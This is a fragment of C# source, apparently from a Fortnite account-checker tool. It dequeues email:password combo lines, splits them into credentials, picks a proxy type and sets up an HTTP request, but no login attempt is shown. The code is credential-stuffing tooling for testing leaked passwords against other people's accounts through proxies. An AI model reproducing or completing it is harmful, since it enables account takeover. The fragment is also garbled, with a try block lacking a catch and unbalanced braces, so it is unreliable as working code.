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Check.cs
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Check.cs
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using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
using xNet;
namespace Fortnite
{
internal class Check
{
public static ConcurrentQueue<string> Combos = Tools.Combos;
public static void Checking()
{
for (; ; )
{
try
{
if (Combos.Any<string>() == false) { Thread.Sleep(-1); }
string Account;
string Proxy;
string ProxyType = Tools.ProxyType;
Combos.TryDequeue(out Account);
var Email = Account.Split(new char[] { ':', ';', '|' })[0];
var Password = Account.Split(new char[] { ':', ';', '|' })[1];
var User = Email.Contains("@") ? Email.Split('@')[0] : Email;
HttpRequest httpReq = new HttpRequest();
httpReq.SslCertificateValidatorCallback += (obj, cert, ssl, error) => (cert as X509Certificate2).Verify();
}
}
}
}
}